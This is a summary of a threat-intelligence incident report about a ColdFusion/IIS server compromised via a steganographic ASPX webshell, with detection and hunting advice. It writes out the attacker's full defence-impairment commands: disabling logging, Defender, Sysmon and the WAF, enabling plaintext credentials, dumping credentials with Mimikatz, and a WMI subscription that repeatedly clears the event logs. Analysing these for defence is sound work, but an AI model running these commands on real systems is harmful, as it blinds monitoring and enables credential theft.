# Defence Impairment Olympics

ColdFusion server compromised via steganographic ASPX webshell; attacker ran a defence-impairment script disabling IIS logging, Defender, Sysmon/EDR, then dumped credentials with Mimikatz.

- Payout: Real-world hack
- Severity: high
- Program: Adobe ColdFusion
- Analysis by: Huntress
- Disclosed: 2026-06-29
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/mimikatz-credential-dumping-defence-impairment
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-mimikatz-credential-dumping-defence-impairment
- Tags: area:web domain:web impact:data-leak impact:privesc impact:rce kind:incident platform:threat-intel sev:high technique:source-review vuln:access-control vuln:deserialization vuln:misconfiguration vuln:rce

**Target:** IIS web server hosting ColdFusion (w3wp.exe, wwwroot\Images)
**Root cause:** Server was vulnerable to ColdFusion flaws (CVE-2023-26360/29298/29300) allowing webshell upload; exact initial access unconfirmed due to insufficient logging. Attacker then abused native Windows tooling (appcmd, Set-MpPreference, sc, reg, IFEO) to disable logging and AV before credential dumping.
**Steps:**
1. Upload steganographic ASPX webshell (e.g. `UA4fp7R.aspx`) into `wwwroot\Images`; shell responds `ONEPIECE` and `x_best_911` on command.
2. Enumerate via `whoami` spawning from `w3wp.exe`.
3. Run `i.bat`: disable IIS logging with `%windir%\system32\inetsrv\appcmd set config /section:httpLogging /dontLog:True`.
4. Disable Defender: `powershell -c "Set-MpPreference -DisableRealtimeMonitoring $True"` and add exclusions via `WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\"C:\ProgramData\x\\\"`.
5. Kill/delete logging & security services: `taskkill /im sysmon.exe /f`, `taskkill /im sysmon64.exe /f`, `sc stop sysmon`, `sc delete sysmon`, `sc stop filebeat`, etc.
6. Enable plaintext creds: `reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f`.
7. Dump ODBC creds: `REGEDIT /e ODBC.TXT HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI`.
8. Run `g.com >pass.txt` and `hs.com`/`dump.com > hash.txt`, delete `mimidrv.sys`.
9. Neutralize Sysmon/Filebeat/SetACL via IFEO: `reg add "...\Image File Execution Options\sysmon.exe" /v "Debugger" /t REG_SZ /d "ntsd -d" /f`.
10. Uninstall WAF: `appcmd uninstall module "ModSecurity IIS (32bits)"` and `appcmd uninstall module "ModSecurity IIS (64bits)"`.
11. Clear logs: `wevtutil cl security`, `wevtutil cl system`, `wevtutil cl application`, `wevtutil cl Setup`, `del %0`.
**How found:** Huntress SOC detected `whoami` spawning from `w3wp.exe` (IIS worker), a webshell tell; reviewed `wwwroot\Images` and found a recently created `.aspx` file hidden in an image. Historical logs showed ColdFusion targeted endpoints.
**Exploitation:** Attacker gained webshell access to ColdFusion/IIS server, uploaded steganographic ASPX shells, then executed i.bat to blind logging and AV, killed EDR/Sysmon/Filebeat, enabled WDigest plaintext creds, harvested ODBC registry creds, and dumped credentials via Mimikatz driver before cleanup.
**Escalation:** Chained webshell access with defence impairment to enable credential dumping and lateral movement; persistence via repeated re-upload after partial remediation.
**Insight:** Watch for OS recon commands (whoami, net, reg query) spawning from w3wp.exe — a strong webshell signal; also hunt for steganographic .aspx files in image directories and IFEO Debugger keys pointing to ntsd -d as a process-freezing evasion.

## Proof of concept (copied exactly from the original report)

**WMI Event Consumer to clear event logs**

```
::wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 1000 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

::wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", CommandLineTemplate="cmd.exe /c for /f %%x in ('wevtutil el')do wevtutil cl \"%%x\""

::wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
```

**IFEO debugger hijack of Sysmon/Filebeat**

```
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SetACL.exe" /v "Debugger" /t REG_SZ /d "ntsd -d" /f
```